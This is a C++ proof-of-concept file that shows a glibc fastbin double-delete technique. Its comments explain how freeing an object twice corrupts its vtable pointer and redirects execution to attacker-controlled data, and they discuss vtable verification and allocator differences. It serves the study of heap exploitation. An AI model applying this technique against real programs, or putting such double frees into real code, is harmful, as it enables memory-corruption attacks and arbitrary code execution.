-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathvirtual-glibc.cpp
130 lines (119 loc) · 3.57 KB
/
virtual-glibc.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
/* glibc fastbin's double destructor example
*
* This example doesn't actually double free.
* Instead it takes advantage of heap state and the
* fastbin linking mechanisms to redirect execution
* flow to a pointer of the attackers choosing
* when the destructor is called the same time.
*
* When vtable verification is absent, this will
* attempt to call 0x4141414141414141 and segfault.
*
* When vtable verification is present, it will
* do the same, however it will abort due to the
* failure to verify the vftable. A work around
* would be any condition where the attacker is able
* to reconstruct the vftable of type_one inside of
* m_buf/etc.
*
* This condition occurs because:
* - p->fd = *fb
* *fb = p->fd
*
* Thus if an attacker can control the state of the
* fastbin, and the data within the chunk at the top
* of the fastbin, then they can cause the p->fd linking
* which corrupts the vtable pointer to point to a
* location of their choosing.
*
* The caveat being that the subsequent calls through the
* vtable are sufficiently deep enough into the table
* to point past the end of the heaps metadata for the
* chunk.
*
* !!!!
* JEMALLOC DOES NOT SHARE THIS CONDITION
* !!!!
*
* tcmalloc seems to exhibit alternative memory
* corrupt which makes the outcome less stable
* however the what and why of it was not investigated.
*/
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <string>
#include <vector>
class type_one
{
private:
uint8_t m_buf[32];
protected:
/*
* For the initial steps, the biggest
* constraint is that vptr+offset to destructor
* must be greater than the metadata in mallocs
* chunk structures. In practice, this doesn't
* seem to be overly problematic, for instance
* in Qt everything is derived from QObject
* with at least a few additional derived
* classes. Thus what seems unreasonable or at
* least bordering on it in this example really
* isnt.
*/
virtual void method_one(void) {}
virtual void method_two(void) {}
virtual void method_three(void) {}
virtual void method_four(void) {}
virtual void method_five(void) {}
virtual void method_six(void) {}
virtual void method_seven(void) {}
virtual void method_eight(void) {}
virtual void method_nine(void) {}
virtual void method_ten(void) {}
virtual void method_eleven(void) {}
public:
type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); return; }
virtual ~type_one(void) { return; }
};
signed int
main(void)
{
type_one* one(nullptr);
type_one* pad_zero(nullptr);
type_one* pad_one(nullptr);
/*
* What we are specifically abusing here is that
* fastbin chunks are not doubly linked, and
* they are linked into the fastbin freelist
* via a construct akin to:
* p->FD = *fb;
* *fb = p;
*
* This has the side effect that our vftable
* pointer is corrupted during free. However
* depending on context of the application,
* this can be useful to us; although only
* in the presence of other failures like a
* leak that discloses address space layout
* and similar.
*/
pad_zero = new type_one;
pad_one = new type_one;
delete pad_zero;
delete pad_one;
/*
* with a chunk whose data we can
* control preceeding the object
* we intend to double free,
* we can seize control of
* the instruction pointer here
* providing that the data we control
* is is outside of mallocs metadata.
*/
one = new type_one;
delete one; // <-- corrupts the vptr
delete one; // <-- attempts to call vptr+offset
// which points to m_buf[x]
return EXIT_SUCCESS;
}